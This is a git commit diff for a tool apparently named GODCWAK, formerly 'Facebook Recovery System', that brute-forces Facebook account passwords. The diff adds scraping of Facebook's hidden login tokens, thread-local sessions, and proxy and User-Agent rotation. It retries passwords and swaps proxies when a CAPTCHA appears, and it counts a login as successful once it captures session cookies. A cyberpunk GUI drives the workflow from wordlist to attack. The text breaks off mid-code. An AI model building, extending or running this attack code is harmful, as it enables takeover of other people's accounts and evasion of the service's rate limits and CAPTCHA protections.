Improve UI cohesion, status bar, and core attack reliability

This commit is contained in:
Dr Jones
2026-05-22 17:51:33 -07:00
parent c958a06b96
commit 1152a937f7
13 changed files with 612 additions and 189 deletions

View File

@@ -1,9 +1,12 @@
""" """
Configuration and constants for the Facebook Recovery System. Configuration and constants for GODCWAK.
""" """
import os import os
from pathlib import Path from pathlib import Path
APP_NAME = "GODCWAK"
APP_VERSION = "1.0"
# Paths # Paths
BASE_DIR = Path(__file__).parent BASE_DIR = Path(__file__).parent
DATA_DIR = BASE_DIR / "data" DATA_DIR = BASE_DIR / "data"

10
main.py
View File

@@ -1,13 +1,11 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
""" """
Facebook Recovery System v1.0 GODCWAK v1.0
GPU-accelerated password recovery tool with proxy rotation. GPU-accelerated password recovery tool with proxy rotation.
Usage: Usage:
python main.py python main.py
GODCWAK.bat
Requirements:
pip install -r requirements.txt
""" """
import logging import logging
import sys import sys
@@ -78,9 +76,9 @@ def main():
sys.exit(1) sys.exit(1)
try: try:
from src.gui.app import FacebookRecoveryApp from src.gui.app import GODCWAKApp
app = FacebookRecoveryApp() app = GODCWAKApp()
logger.info("Application started successfully") logger.info("Application started successfully")
app.mainloop() app.mainloop()

View File

@@ -4,10 +4,11 @@ Defaults to Facebook (m.facebook.com) behaviour; fully configurable for other si
""" """
import logging import logging
import re import re
import threading
import time import time
from dataclasses import dataclass, field from dataclasses import dataclass, field
from typing import Dict, List, Optional from typing import Dict, List, Optional, Tuple
from urllib.parse import urlparse, urljoin from urllib.parse import urlparse
import requests import requests
from src.attack.user_agents import get_random_mobile_ua, get_random_facebook_ua from src.attack.user_agents import get_random_mobile_ua, get_random_facebook_ua
@@ -21,42 +22,52 @@ class SiteConfig:
login_url: str = "https://m.facebook.com/login.php" login_url: str = "https://m.facebook.com/login.php"
base_url: str = "https://m.facebook.com" base_url: str = "https://m.facebook.com"
# HTML form field names
username_field: str = "email" username_field: str = "email"
password_field: str = "pass" password_field: str = "pass"
# Extra static POST fields (e.g. Facebook's login_source)
extra_fields: Dict[str, str] = field(default_factory=lambda: { extra_fields: Dict[str, str] = field(default_factory=lambda: {
"login_source": "comet_headerless", "login_source": "comet_headerless",
"login": "Log In", "login": "Log In",
}) })
# Token scraping (CSRF) csrf_field: str = "lsd"
csrf_field: str = "lsd" # empty string to disable
csrf_patterns: List[str] = field(default_factory=lambda: [ csrf_patterns: List[str] = field(default_factory=lambda: [
r'name="lsd"[^>]*value="([^"]+)"', r'name="lsd"[^>]*value="([^"]+)"',
r'"lsd"[^}]*?"([^"]+)"', r'"lsd"[^}]*?"([^"]+)"',
r'name="fb_dtsg"[^>]*value="([^"]+)"',
r'"fb_dtsg"\s*:\s*"([^"]+)"',
])
# (field_name, regex) — scraped from login page and merged into POST body
token_patterns: List[Tuple[str, str]] = field(default_factory=lambda: [
("lsd", r'name="lsd"[^>]*value="([^"]+)"'),
("fb_dtsg", r'name="fb_dtsg"[^>]*value="([^"]+)"'),
("jazoest", r'name="jazoest"[^>]*value="([^"]+)"'),
("m_ts", r'name="m_ts"[^>]*value="([^"]+)"'),
("li", r'name="li"[^>]*value="([^"]+)"'),
]) ])
# Success / failure detection in response body or URL success_cookies: List[str] = field(default_factory=lambda: ["c_user", "xs", "sb"])
success_cookies: List[str] = field(default_factory=lambda: ["c_user", "sb"]) success_url_fragments: List[str] = field(default_factory=lambda: [
success_url_fragments: List[str] = field(default_factory=lambda: ["home", "feed", "stories"]) "home", "feed", "stories", "facebook.com/?", "m.facebook.com/?",
failure_url_fragments: List[str] = field(default_factory=lambda: ["login", "checkpoint"]) ])
failure_url_fragments: List[str] = field(default_factory=lambda: [
"login", "checkpoint", "recover", "two_step",
])
captcha_indicators: List[str] = field(default_factory=lambda: [ captcha_indicators: List[str] = field(default_factory=lambda: [
"captcha", "security check", "confirm your identity", "recaptcha", "hcaptcha", "g-recaptcha", "captcha",
"unusual activity", "verify", "prove you", "security check", "confirm your identity",
"unusual activity", "prove you're human", "verify it's you",
]) ])
rate_limit_indicators: List[str] = field(default_factory=lambda: [ rate_limit_indicators: List[str] = field(default_factory=lambda: [
"too many", "try again later", "rate limit", "too many", "try again later", "rate limit", "temporarily blocked",
]) ])
wrong_pass_indicators: List[str] = field(default_factory=lambda: [ wrong_pass_indicators: List[str] = field(default_factory=lambda: [
"incorrect", "wrong password", "invalid", "didn't match", "incorrect", "wrong password", "invalid", "didn't match",
"password you entered", "not match", "password you entered", "not match", "login failed",
]) ])
@classmethod @classmethod
def for_url(cls, url: str) -> "SiteConfig": def for_url(cls, url: str) -> "SiteConfig":
"""Build a minimal config for an arbitrary URL (generic form POST)."""
parsed = urlparse(url) parsed = urlparse(url)
base = f"{parsed.scheme}://{parsed.netloc}" base = f"{parsed.scheme}://{parsed.netloc}"
return cls( return cls(
@@ -64,9 +75,10 @@ class SiteConfig:
base_url=base, base_url=base,
extra_fields={}, extra_fields={},
csrf_field="", csrf_field="",
token_patterns=[],
success_cookies=[], success_cookies=[],
success_url_fragments=[], success_url_fragments=[],
failure_url_fragments=["login", "signin", "auth"], failure_url_fragments=["login", "signin", "auth", "error"],
) )
@@ -82,10 +94,7 @@ class LoginResult:
class LoginClient: class LoginClient:
""" """Generic HTML-form login client with thread-local HTTP sessions."""
Generic HTML-form login client.
Rotate User-Agents, fetch CSRF tokens, POST credentials, analyse response.
"""
def __init__( def __init__(
self, self,
@@ -94,41 +103,55 @@ class LoginClient:
): ):
self.site = site_config or SiteConfig() self.site = site_config or SiteConfig()
self.request_timeout = request_timeout self.request_timeout = request_timeout
self.session = requests.Session() self._local = threading.local()
self.session.headers.update({
def reconfigure(self, site_config: SiteConfig):
self.site = site_config
session = getattr(self._local, "session", None)
if session is not None:
session.cookies.clear()
def _get_session(self) -> requests.Session:
session = getattr(self._local, "session", None)
if session is None:
session = requests.Session()
session.headers.update({
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br", "Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive", "Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1", "Upgrade-Insecure-Requests": "1",
}) })
self._local.session = session
return session
def reconfigure(self, site_config: SiteConfig): def _get_form_tokens(self, proxies: Dict) -> Dict[str, str]:
self.site = site_config if not self.site.token_patterns and not self.site.csrf_patterns:
self.session.cookies.clear() return {}
tokens: Dict[str, str] = {}
# ── CSRF helper ───────────────────────────────────────────────────────────
def _get_csrf_token(self, proxies: Dict) -> str:
if not self.site.csrf_field:
return ""
try: try:
ua = get_random_mobile_ua() ua = get_random_mobile_ua()
resp = self.session.get( session = self._get_session()
resp = session.get(
self.site.login_url, self.site.login_url,
proxies=proxies, proxies=proxies,
headers={"User-Agent": ua}, headers={"User-Agent": ua},
timeout=self.request_timeout, timeout=self.request_timeout,
) )
for pattern in self.site.csrf_patterns: html = resp.text
m = re.search(pattern, resp.text) for field_name, pattern in self.site.token_patterns:
m = re.search(pattern, html)
if m: if m:
return m.group(1) tokens[field_name] = m.group(1)
if not tokens and self.site.csrf_field:
for pattern in self.site.csrf_patterns:
m = re.search(pattern, html)
if m:
tokens[self.site.csrf_field] = m.group(1)
break
except Exception as e: except Exception as e:
logger.debug(f"CSRF token fetch failed: {e}") logger.debug(f"Form token fetch failed: {e}")
return "" return tokens
# ── Core attempt ─────────────────────────────────────────────────────────
def attempt_login( def attempt_login(
self, self,
@@ -139,16 +162,16 @@ class LoginClient:
start = time.time() start = time.time()
proxies = self._build_proxies(proxy_string) proxies = self._build_proxies(proxy_string)
ua = get_random_facebook_ua() ua = get_random_facebook_ua()
session = self._get_session()
try: try:
csrf = self._get_csrf_token(proxies) tokens = self._get_form_tokens(proxies)
payload: Dict[str, str] = { payload: Dict[str, str] = {
self.site.username_field: username, self.site.username_field: username,
self.site.password_field: password, self.site.password_field: password,
} }
if self.site.csrf_field and csrf: payload.update(tokens)
payload[self.site.csrf_field] = csrf
payload.update(self.site.extra_fields) payload.update(self.site.extra_fields)
headers = { headers = {
@@ -159,7 +182,7 @@ class LoginClient:
"Cache-Control": "max-age=0", "Cache-Control": "max-age=0",
} }
resp = self.session.post( resp = session.post(
self.site.login_url, self.site.login_url,
data=payload, data=payload,
proxies=proxies, proxies=proxies,
@@ -168,7 +191,7 @@ class LoginClient:
allow_redirects=True, allow_redirects=True,
) )
elapsed = (time.time() - start) * 1000 elapsed = (time.time() - start) * 1000
return self._analyse(resp, password, elapsed) return self._analyse(resp, password, elapsed, session)
except requests.ConnectTimeout: except requests.ConnectTimeout:
return LoginResult(False, 0, _ms(start), "Connection timeout") return LoginResult(False, 0, _ms(start), "Connection timeout")
@@ -179,40 +202,64 @@ class LoginClient:
except Exception as e: except Exception as e:
return LoginResult(False, 0, _ms(start), f"Error: {str(e)[:100]}") return LoginResult(False, 0, _ms(start), f"Error: {str(e)[:100]}")
def _analyse(self, resp: requests.Response, password: str, elapsed: float) -> LoginResult: def _analyse(
self,
resp: requests.Response,
password: str,
elapsed: float,
session: requests.Session,
) -> LoginResult:
url = resp.url.lower() url = resp.url.lower()
text = resp.text.lower() text = resp.text.lower()
code = resp.status_code code = resp.status_code
# ── Captcha check first ─────────────────────────────────────────── # Session cookies (including redirects)
all_cookies = {**session.cookies.get_dict(), **resp.cookies.get_dict()}
if "checkpoint" in url or "two_step" in url:
return LoginResult(
False, code, round(elapsed, 1),
"Checkpoint / 2FA — manual step required",
cookies=all_cookies,
redirect_url=resp.url,
)
if any(kw in text for kw in self.site.captcha_indicators): if any(kw in text for kw in self.site.captcha_indicators):
return LoginResult(False, code, round(elapsed, 1), return LoginResult(
"CAPTCHA detected", captcha_detected=True) False, code, round(elapsed, 1),
"CAPTCHA detected", captcha_detected=True,
)
# ── Cookie-based success ──────────────────────────────────────────
for cookie in self.site.success_cookies: for cookie in self.site.success_cookies:
if cookie in resp.cookies: if cookie in all_cookies:
logger.info(f"SUCCESS via cookie '{cookie}': {password}") logger.info(f"SUCCESS via cookie '{cookie}': {password}")
return LoginResult(True, code, round(elapsed, 1), return LoginResult(
True, code, round(elapsed, 1),
"Login successful!", "Login successful!",
cookies=dict(resp.cookies), cookies=all_cookies,
redirect_url=resp.url) redirect_url=resp.url,
)
# ── URL-redirect success ──────────────────────────────────────────
failed_frag = any(f in url for f in self.site.failure_url_fragments) failed_frag = any(f in url for f in self.site.failure_url_fragments)
if not failed_frag and code == 200: if not failed_frag and code in (200, 302):
if any(f in url for f in self.site.success_url_fragments): if any(f in url for f in self.site.success_url_fragments):
logger.info(f"Possible SUCCESS via redirect to: {url}") return LoginResult(
return LoginResult(True, code, round(elapsed, 1), True, code, round(elapsed, 1),
f"Redirected to: {url[:60]}", f"Redirected to: {url[:60]}",
cookies=dict(resp.cookies), cookies=all_cookies,
redirect_url=resp.url) redirect_url=resp.url,
)
if "facebook.com" in url and "login" not in url:
return LoginResult(
True, code, round(elapsed, 1),
"Login successful (URL redirect)",
cookies=all_cookies,
redirect_url=resp.url,
)
# ── Rate-limit ────────────────────────────────────────────────────
if any(kw in text for kw in self.site.rate_limit_indicators): if any(kw in text for kw in self.site.rate_limit_indicators):
return LoginResult(False, code, round(elapsed, 1), "Rate limited") return LoginResult(False, code, round(elapsed, 1), "Rate limited")
# ── Wrong password ────────────────────────────────────────────────
if any(kw in text for kw in self.site.wrong_pass_indicators): if any(kw in text for kw in self.site.wrong_pass_indicators):
return LoginResult(False, code, round(elapsed, 1), "Incorrect password") return LoginResult(False, code, round(elapsed, 1), "Incorrect password")

View File

@@ -92,6 +92,9 @@ class AttackOrchestrator:
self._password_index: int = 0 self._password_index: int = 0
self._workers_active: int = 0 self._workers_active: int = 0
self._success_event = threading.Event()
self._max_captcha_retries = 3
self._captcha_retries: dict = {}
# ── Public API ─────────────────────────────────────────────────────────── # ── Public API ───────────────────────────────────────────────────────────
@@ -121,6 +124,8 @@ class AttackOrchestrator:
self.stats.start_time = time.time() self.stats.start_time = time.time()
self._password_index = 0 self._password_index = 0
self._workers_active = self.max_workers self._workers_active = self.max_workers
self._success_event.clear()
self._captcha_retries.clear()
if self.on_state_change: if self.on_state_change:
self.on_state_change(self.state) self.on_state_change(self.state)
@@ -159,9 +164,15 @@ class AttackOrchestrator:
def _run_worker(self, worker_id: int): def _run_worker(self, worker_id: int):
rotation_counter = 0 rotation_counter = 0
current_proxy: Optional[str] = None current_proxy: Optional[str] = None
client = LoginClient(
site_config=self.site_config,
request_timeout=self.request_timeout,
)
try: try:
while self.state not in (AttackState.STOPPED, AttackState.COMPLETED): while self.state not in (AttackState.STOPPED, AttackState.COMPLETED):
if self._success_event.is_set():
break
if self.state == AttackState.PAUSED: if self.state == AttackState.PAUSED:
time.sleep(0.1) time.sleep(0.1)
continue continue
@@ -187,24 +198,25 @@ class AttackOrchestrator:
self.stats.current_proxy = current_proxy self.stats.current_proxy = current_proxy
self.stats.active_workers = self._workers_active self.stats.active_workers = self._workers_active
result: LoginResult = self.login_client.attempt_login( result: LoginResult = client.attempt_login(
username=self.username, username=self.username,
password=password, password=password,
proxy_string=current_proxy, proxy_string=current_proxy,
) )
# ── Handle CAPTCHA ─────────────────────────────────────
if result.captcha_detected: if result.captcha_detected:
with self._lock: with self._lock:
self.stats.captchas_hit += 1 self.stats.captchas_hit += 1
logger.info(f"[W{worker_id}] CAPTCHA hit — notifying GUI") retries = self._captcha_retries.get(password, 0) + 1
self._captcha_retries[password] = retries
logger.info(f"[W{worker_id}] CAPTCHA hit (retry {retries})")
if self.on_captcha: if self.on_captcha:
self.on_captcha(current_proxy) self.on_captcha(current_proxy)
# Re-queue this password and rotate proxy
with self._lock: with self._lock:
self._password_index -= 1 self._password_index -= 1
# CAPTCHA/rate-limit proxies are held out of immediate rotation.
current_proxy = None current_proxy = None
if retries >= self._max_captcha_retries:
logger.warning(f"[W{worker_id}] Max CAPTCHA retries for password")
time.sleep(random.uniform(2.0, 5.0)) time.sleep(random.uniform(2.0, 5.0))
continue continue
@@ -254,6 +266,7 @@ class AttackOrchestrator:
if result.success: if result.success:
logger.info(f"*** PASSWORD FOUND: {password} ***") logger.info(f"*** PASSWORD FOUND: {password} ***")
self._success_event.set()
if self.on_success: if self.on_success:
self.on_success(password, current_proxy, result) self.on_success(password, current_proxy, result)
self.state = AttackState.COMPLETED self.state = AttackState.COMPLETED

View File

@@ -7,6 +7,7 @@ from datetime import datetime
import customtkinter as ctk import customtkinter as ctk
from src.gui.theme import CyberpunkTheme from src.gui.theme import CyberpunkTheme
from src.gui.workflow import WORKFLOW_STEPS, TAB_TO_STEP
from src.gui.password_builder_tab import PasswordBuilderTab from src.gui.password_builder_tab import PasswordBuilderTab
from src.gui.proxy_manager_tab import ProxyManagerTab from src.gui.proxy_manager_tab import ProxyManagerTab
from src.gui.attack_tab import AttackTab from src.gui.attack_tab import AttackTab
@@ -14,13 +15,13 @@ from src.gui.logs_tab import LogsTab
from src.gui.setup_tab import SetupTab from src.gui.setup_tab import SetupTab
from src.proxy.pool import ProxyPool from src.proxy.pool import ProxyPool
from src.utils.logger import AttemptLogger from src.utils.logger import AttemptLogger
from config import ASSETS_DIR, PASSWORDS_FILE from config import ASSETS_DIR, PASSWORDS_FILE, APP_NAME, APP_VERSION, OLLAMA_CONFIG_FILE
from src.utils.file_io import count_lines from src.utils.file_io import count_lines
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
class FacebookRecoveryApp(ctk.CTk): class GODCWAKApp(ctk.CTk):
"""Main application window.""" """Main application window."""
def __init__(self): def __init__(self):
@@ -31,9 +32,11 @@ class FacebookRecoveryApp(ctk.CTk):
# Shared state # Shared state
self.proxy_pool = ProxyPool() self.proxy_pool = ProxyPool()
self.attempt_logger = AttemptLogger() self.attempt_logger = AttemptLogger()
self._attack_state = "IDLE"
self._workflow_badges = {}
# Window # Window
self.title("GODCWAK v1.0") self.title(f"{APP_NAME} v{APP_VERSION}")
self.geometry("1300x820") self.geometry("1300x820")
self.minsize(1080, 720) self.minsize(1080, 720)
self.configure(fg_color=CyberpunkTheme.BG_DARK) self.configure(fg_color=CyberpunkTheme.BG_DARK)
@@ -49,11 +52,14 @@ class FacebookRecoveryApp(ctk.CTk):
pass pass
self._build_header() self._build_header()
self._build_workflow_ribbon()
self._build_tabs() self._build_tabs()
self._build_status_bar() # must be last (packs to bottom) self._build_status_bar()
self._tick_clock() self._tick_clock()
self._periodic_update() self._periodic_update()
self._slow_system_update()
self.set_status(f"{APP_NAME} READY — start at Step 01: Password Builder")
# ── Header ────────────────────────────────────────────────────────────── # ── Header ──────────────────────────────────────────────────────────────
@@ -85,10 +91,10 @@ class FacebookRecoveryApp(ctk.CTk):
badge_col = ctk.CTkFrame(inner, fg_color="transparent") badge_col = ctk.CTkFrame(inner, fg_color="transparent")
badge_col.pack(side="right", padx=(0, 5)) badge_col.pack(side="right", padx=(0, 5))
ctk.CTkLabel(badge_col, text="GODCWAK", ctk.CTkLabel(badge_col, text=APP_NAME,
font=("Consolas", 18, "bold"), font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY).pack(anchor="e") text_color=CyberpunkTheme.PRIMARY).pack(anchor="e")
ctk.CTkLabel(badge_col, text="v1.0 // GPU-ACCELERATED", ctk.CTkLabel(badge_col, text=f"v{APP_VERSION} // GPU-ACCELERATED",
font=("Consolas", 10), font=("Consolas", 10),
text_color=CyberpunkTheme.TERTIARY).pack(anchor="e") text_color=CyberpunkTheme.TERTIARY).pack(anchor="e")
ctk.CTkLabel(badge_col, text="PROXY ROTATION // OLLAMA AI", ctk.CTkLabel(badge_col, text="PROXY ROTATION // OLLAMA AI",
@@ -97,6 +103,77 @@ class FacebookRecoveryApp(ctk.CTk):
ctk.CTkFrame(outer, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x") ctk.CTkFrame(outer, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x")
# ── Workflow ribbon ─────────────────────────────────────────────────────
def _build_workflow_ribbon(self):
ribbon = ctk.CTkFrame(
self,
fg_color=CyberpunkTheme.BG_LIGHT,
border_width=1,
border_color=CyberpunkTheme.BORDER,
)
ribbon.pack(fill="x", padx=15, pady=(8, 0))
inner = ctk.CTkFrame(ribbon, fg_color="transparent")
inner.pack(fill="x", padx=10, pady=8)
ctk.CTkLabel(
inner,
text="WORKFLOW",
font=("Consolas", 9, "bold"),
text_color=CyberpunkTheme.TEXT_DIM,
width=72,
).pack(side="left", padx=(0, 8))
for step in WORKFLOW_STEPS:
chip = ctk.CTkFrame(
inner,
fg_color=CyberpunkTheme.BG_DARK,
border_width=1,
border_color=CyberpunkTheme.BORDER,
corner_radius=4,
)
chip.pack(side="left", padx=(0, 6))
num_lbl = ctk.CTkLabel(
chip,
text=step["num"],
font=("Consolas", 9, "bold"),
text_color=CyberpunkTheme.TEXT_DIM,
width=22,
)
num_lbl.pack(side="left", padx=(6, 2), pady=4)
title_lbl = ctk.CTkLabel(
chip,
text=step["title"],
font=("Consolas", 9, "bold"),
text_color=CyberpunkTheme.TEXT_SECONDARY,
)
title_lbl.pack(side="left", padx=(0, 8), pady=4)
self._workflow_badges[step["tab"]] = (chip, num_lbl, title_lbl)
self._highlight_workflow_step("Password Builder")
def _highlight_workflow_step(self, tab_name: str):
for name, (chip, num_lbl, title_lbl) in self._workflow_badges.items():
active = name == tab_name
chip.configure(
border_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.BORDER,
fg_color=CyberpunkTheme.BG_MEDIUM if active else CyberpunkTheme.BG_DARK,
)
num_lbl.configure(
text_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.TEXT_DIM
)
title_lbl.configure(
text_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.TEXT_SECONDARY
)
step = TAB_TO_STEP.get(tab_name)
if step and hasattr(self, "workflow_hint_label"):
self.workflow_hint_label.configure(text=f"{step['hint']}")
# ── Tabs ───────────────────────────────────────────────────────────────── # ── Tabs ─────────────────────────────────────────────────────────────────
def _build_tabs(self): def _build_tabs(self):
@@ -106,54 +183,76 @@ class FacebookRecoveryApp(ctk.CTk):
border_width=1, border_width=1,
border_color=CyberpunkTheme.BORDER, border_color=CyberpunkTheme.BORDER,
corner_radius=6, corner_radius=6,
command=self._on_tab_changed,
) )
self.tab_view.pack(fill="both", expand=True, padx=15, pady=(8, 0)) self.tab_view.pack(fill="both", expand=True, padx=15, pady=(8, 0))
tab_names = ["Password Builder", "Proxy Manager", "Attack", "Logs", "Setup"] tab_names = [s["tab"] for s in WORKFLOW_STEPS]
for name in tab_names: for name in tab_names:
self.tab_view.add(name) self.tab_view.add(name)
sc = self.set_status # shared status callback sc = self.set_status
self.password_builder_tab = PasswordBuilderTab( self.password_builder_tab = PasswordBuilderTab(
self.tab_view.tab("Password Builder"), self.tab_view.tab("Password Builder"),
status_callback=sc) status_callback=sc,
app=self,
)
self.password_builder_tab.pack(fill="both", expand=True) self.password_builder_tab.pack(fill="both", expand=True)
self.proxy_manager_tab = ProxyManagerTab( self.proxy_manager_tab = ProxyManagerTab(
self.tab_view.tab("Proxy Manager"), self.tab_view.tab("Proxy Manager"),
self.proxy_pool, self.proxy_pool,
status_callback=sc) status_callback=sc,
app=self,
)
self.proxy_manager_tab.pack(fill="both", expand=True) self.proxy_manager_tab.pack(fill="both", expand=True)
self.attack_tab = AttackTab( self.attack_tab = AttackTab(
self.tab_view.tab("Attack"), self.tab_view.tab("Attack"),
self.proxy_pool, self.proxy_pool,
status_callback=sc, status_callback=sc,
attempt_logger=self.attempt_logger) attempt_logger=self.attempt_logger,
app=self,
)
self.attack_tab.pack(fill="both", expand=True) self.attack_tab.pack(fill="both", expand=True)
self.logs_tab = LogsTab( self.logs_tab = LogsTab(
self.tab_view.tab("Logs"), self.tab_view.tab("Logs"),
self.attempt_logger) self.attempt_logger,
app=self,
)
self.logs_tab.pack(fill="both", expand=True) self.logs_tab.pack(fill="both", expand=True)
self.setup_tab = SetupTab(self.tab_view.tab("Setup")) self.setup_tab = SetupTab(
self.tab_view.tab("Setup"),
status_callback=sc,
app=self,
)
self.setup_tab.pack(fill="both", expand=True) self.setup_tab.pack(fill="both", expand=True)
def _on_tab_changed(self):
try:
tab = self.tab_view.get()
self._highlight_workflow_step(tab)
step = TAB_TO_STEP.get(tab)
if step:
self.set_status(f"Step {step['num']}: {step['title']}{step['hint'][:70]}")
except Exception:
pass
def set_attack_state(self, state: str):
self._attack_state = state.upper()
self._update_attack_status_label()
# ── Status bar ─────────────────────────────────────────────────────────── # ── Status bar ───────────────────────────────────────────────────────────
def _build_status_bar(self): def _build_status_bar(self):
""" bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=34)
Rich multi-field status bar:
● DOT | STATUS MSG | WORDLIST: N | PROXIES: N | CLOCK
"""
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=32)
bar.pack(side="bottom", fill="x") bar.pack(side="bottom", fill="x")
bar.pack_propagate(False) bar.pack_propagate(False)
ctk.CTkFrame(bar, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x", side="top") ctk.CTkFrame(bar, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x", side="top")
# Left: blinking dot + status message
left = ctk.CTkFrame(bar, fg_color="transparent") left = ctk.CTkFrame(bar, fg_color="transparent")
left.pack(side="left", fill="y", padx=(6, 0)) left.pack(side="left", fill="y", padx=(6, 0))
@@ -163,37 +262,53 @@ class FacebookRecoveryApp(ctk.CTk):
self._status_dot.pack(side="left", padx=(0, 4)) self._status_dot.pack(side="left", padx=(0, 4))
self.status_label = ctk.CTkLabel( self.status_label = ctk.CTkLabel(
left, text="GODCWAK READY", left, text=f"{APP_NAME} READY",
font=("Consolas", 10), font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY) text_color=CyberpunkTheme.TEXT_SECONDARY)
self.status_label.pack(side="left") self.status_label.pack(side="left")
# Right: wordlist count | proxy count | separator | clock center = ctk.CTkFrame(bar, fg_color="transparent")
center.pack(side="left", fill="both", expand=True, padx=8)
self.workflow_hint_label = ctk.CTkLabel(
center,
text="▸ Build wordlist → load proxies → configure attack → review logs",
font=("Consolas", 9),
text_color=CyberpunkTheme.TEXT_DIM,
anchor="w",
)
self.workflow_hint_label.pack(fill="x", pady=6)
right = ctk.CTkFrame(bar, fg_color="transparent") right = ctk.CTkFrame(bar, fg_color="transparent")
right.pack(side="right", fill="y", padx=(0, 10)) right.pack(side="right", fill="y", padx=(0, 8))
self.clock_label = ctk.CTkLabel(
right, text="", font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM)
self.clock_label.pack(side="right", padx=(10, 0))
def _sep():
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER, ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER,
width=1, height=16).pack(side="right", padx=8) width=1, height=16).pack(side="right", padx=6)
self.sb_proxies = ctk.CTkLabel( def _metric(side="right"):
right, text="PROXIES: 0", lbl = ctk.CTkLabel(
font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM) right, text="",
self.sb_proxies.pack(side="right", padx=(4, 0)) font=("Consolas", 9),
text_color=CyberpunkTheme.TEXT_DIM,
)
lbl.pack(side=side, padx=(0, 2))
return lbl
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER, self.clock_label = _metric()
width=1, height=16).pack(side="right", padx=8) _sep()
self.sb_attack = _metric()
self.sb_wordlist = ctk.CTkLabel( _sep()
right, text="WORDLIST: 0", self.sb_ollama = _metric()
font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM) _sep()
self.sb_wordlist.pack(side="right", padx=(4, 0)) self.sb_gpu = _metric()
_sep()
self.sb_proxies = _metric()
_sep()
self.sb_wordlist = _metric()
self._blink_dot() self._blink_dot()
self._update_attack_status_label()
def _blink_dot(self): def _blink_dot(self):
try: try:
@@ -209,7 +324,7 @@ class FacebookRecoveryApp(ctk.CTk):
def _tick_clock(self): def _tick_clock(self):
try: try:
self.clock_label.configure( self.clock_label.configure(
text=datetime.now().strftime("%Y-%m-%d %H:%M:%S")) text=datetime.now().strftime("%H:%M:%S"))
except Exception: except Exception:
pass pass
self.after(1000, self._tick_clock) self.after(1000, self._tick_clock)
@@ -217,10 +332,25 @@ class FacebookRecoveryApp(ctk.CTk):
def set_status(self, message: str): def set_status(self, message: str):
"""Update the main status bar message (callable from any tab).""" """Update the main status bar message (callable from any tab)."""
try: try:
self.status_label.configure(text=message[:120]) self.status_label.configure(text=message[:140])
except Exception: except Exception:
pass pass
def _update_attack_status_label(self):
colors = {
"IDLE": CyberpunkTheme.TEXT_DIM,
"RUNNING": CyberpunkTheme.SUCCESS,
"PAUSED": CyberpunkTheme.WARNING,
"STOPPED": CyberpunkTheme.ERROR,
"COMPLETED": CyberpunkTheme.PRIMARY,
}
color = colors.get(self._attack_state, CyberpunkTheme.TEXT_DIM)
if hasattr(self, "sb_attack"):
self.sb_attack.configure(
text=f"ATTACK: {self._attack_state}",
text_color=color,
)
# ── Periodic updates ───────────────────────────────────────────────────── # ── Periodic updates ─────────────────────────────────────────────────────
def _periodic_update(self): def _periodic_update(self):
@@ -228,18 +358,18 @@ class FacebookRecoveryApp(ctk.CTk):
wl_count = count_lines(PASSWORDS_FILE) wl_count = count_lines(PASSWORDS_FILE)
self.sb_wordlist.configure( self.sb_wordlist.configure(
text=f"WORDLIST: {wl_count:,}", text=f"WORDLIST: {wl_count:,}",
text_color=(CyberpunkTheme.SUCCESS text_color=(CyberpunkTheme.SUCCESS if wl_count > 0
if wl_count > 0
else CyberpunkTheme.TEXT_DIM)) else CyberpunkTheme.TEXT_DIM))
except Exception: except Exception:
pass pass
try: try:
px_count = self.proxy_pool.available_count px = self.proxy_pool.stats
avail = px.get("available", 0)
total = px.get("total_valid", 0)
self.sb_proxies.configure( self.sb_proxies.configure(
text=f"PROXIES: {px_count}", text=f"PROXIES: {avail}/{total}",
text_color=(CyberpunkTheme.PRIMARY text_color=(CyberpunkTheme.PRIMARY if avail > 0
if px_count > 0
else CyberpunkTheme.TEXT_DIM)) else CyberpunkTheme.TEXT_DIM))
except Exception: except Exception:
pass pass
@@ -249,4 +379,63 @@ class FacebookRecoveryApp(ctk.CTk):
except Exception: except Exception:
pass pass
self.after(3000, self._periodic_update) try:
if hasattr(self.attack_tab, "_update_readiness"):
self.attack_tab._update_readiness()
except Exception:
pass
self.after(2500, self._periodic_update)
def _slow_system_update(self):
# GPU
try:
from src.engine.gpu_accelerator import is_gpu_available, get_gpu_info
if is_gpu_available():
info = get_gpu_info()
short = info.split("(")[0].strip()[:28]
self.sb_gpu.configure(
text=f"GPU: {short}",
text_color=CyberpunkTheme.SUCCESS,
)
else:
self.sb_gpu.configure(
text="GPU: CPU MODE",
text_color=CyberpunkTheme.TEXT_DIM,
)
except Exception:
self.sb_gpu.configure(text="GPU: —", text_color=CyberpunkTheme.TEXT_DIM)
# Ollama
try:
import json
import requests
cfg = {}
if OLLAMA_CONFIG_FILE.exists():
cfg = json.loads(OLLAMA_CONFIG_FILE.read_text(encoding="utf-8"))
host = cfg.get("ollama_host", "http://localhost:11434").rstrip("/")
model = (cfg.get("model") or "").strip()
r = requests.get(f"{host}/api/tags", timeout=2)
if r.status_code == 200:
label = model[:18] if model else "no model"
self.sb_ollama.configure(
text=f"OLLAMA: {label}",
text_color=CyberpunkTheme.SUCCESS,
)
else:
self.sb_ollama.configure(
text="OLLAMA: offline",
text_color=CyberpunkTheme.ERROR,
)
except Exception:
self.sb_ollama.configure(
